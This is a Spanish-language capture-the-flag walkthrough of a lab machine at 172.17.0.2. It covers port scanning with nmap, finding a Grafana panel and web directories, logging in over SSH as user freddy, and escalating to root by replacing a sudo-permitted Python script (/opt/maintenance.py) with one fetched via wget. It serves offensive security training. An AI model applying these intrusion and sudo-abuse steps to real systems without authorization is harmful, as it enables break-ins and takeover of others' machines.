Accedemos a la IP 172.17.0.2 a través del navegador y entramos a la página de configuración de un servidor Apache:
Escaneo de puertos
sudonmap-v-sV-Pn172.17.0.2[sudo] contraseña para kali: Hostdiscoverydisabled (-Pn). All addresses will be marked 'up' and scan times may be slower.StartingNmap7.94SVN ( https://nmap.org ) at 2024-10-02 14:51 CESTPORTSTATESERVICEVERSION22/tcpopensshOpenSSH9.6p1Debian4 (protocol 2.0)80/tcpopenhttpApachehttpd2.4.58 ((Debian))3000/tcpopenppp?
Solo encontramos 3 puertos abiertos, uno de ellos el puerto 3000 que puede tener algo interesante.
Al entrar llegamos a un panel de login de Grafana y abajo nos encontramos la versión, lo que nos permite buscar algún exploit público:
Fuzzing
Fuzzeando con Dirsearch por el puerto 80 nos encontramos un directorio interesante:
Vamos a intentar acceder por ssh con el usuario freddy y esta contraseña:
afsh4ck@kali$ ssh freddy@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:vI77ttzFmsp8NiCsxBpeZipRCZ9MdfkeMJojz7qMiTw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
freddy@172.17.0.2's password:
freddy@4d075085b685:~$ id
uid=1000(freddy) gid=1000(freddy) groups=1000(freddy)
Estamos dentro!
Escalada de privilegios
Vamos a elevar nuestros privilegios en el sistema. El primer paso es hacer un sudo -l para ver los permisos de ejecución:
freddy@4d075085b685:~$ sudo -l
Matching Defaults entries for freddy on 4d075085b685:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User freddy may run the following commands on 4d075085b685:
(ALL) NOPASSWD: /usr/bin/python3 /opt/maintenance.py
Vemos que el usuario freddy puede ejecutar con todos los permisos el script maintenance.py. Al leer este archivo con cat vemos que es un script que solamente hace un print:
freddy@4d075085b685:~$ cat /opt/maintenance.py
print("Server under beta testing")
Entonces para explotar esto vamos a editar el archivo maintenance.py añadiéndole unas líneas al final, y dejando un mensajito para decir que hemos pwneado la máquina:
No nos deja editarlo directamente con nano por lo que vamos a editarlo en nuestra máquina de atacante y enviarlo con un servidor local en python y wget:
Abrimos un servidor local con python en nuestra máquina de atacante
Descargamos maintenance.py con wget dentro del directorio /opt
Eliminamos el script original y renombramos el script enviado
Ejecutamos el script como sudo utilizando la ruta completa
freddy@4d075085b685:~$ sudo /usr/bin/python3 /opt/maintenance.py
H4cked by: afsh4ck
root@4d075085b685:/home/freddy# whoami
root
root@4d075085b685:/home/freddy# cd /root
root@4d075085b685:~# ls -la
total 40
drwx------ 1 root root 4096 Mar 29 2024 .
drwxr-xr-x 1 root root 4096 Oct 3 20:37 ..
-rw-r--r-- 1 root root 5551 Mar 24 2024 .bashrc
-rw-r--r-- 1 root root 571 Mar 24 2024 .bashrc.original
-rw-r--r-- 1 root root 161 Feb 15 2024 .profile
drwx------ 2 root root 4096 Mar 29 2024 .ssh
-rw-r--r-- 1 root root 10868 Mar 24 2024 .zshrc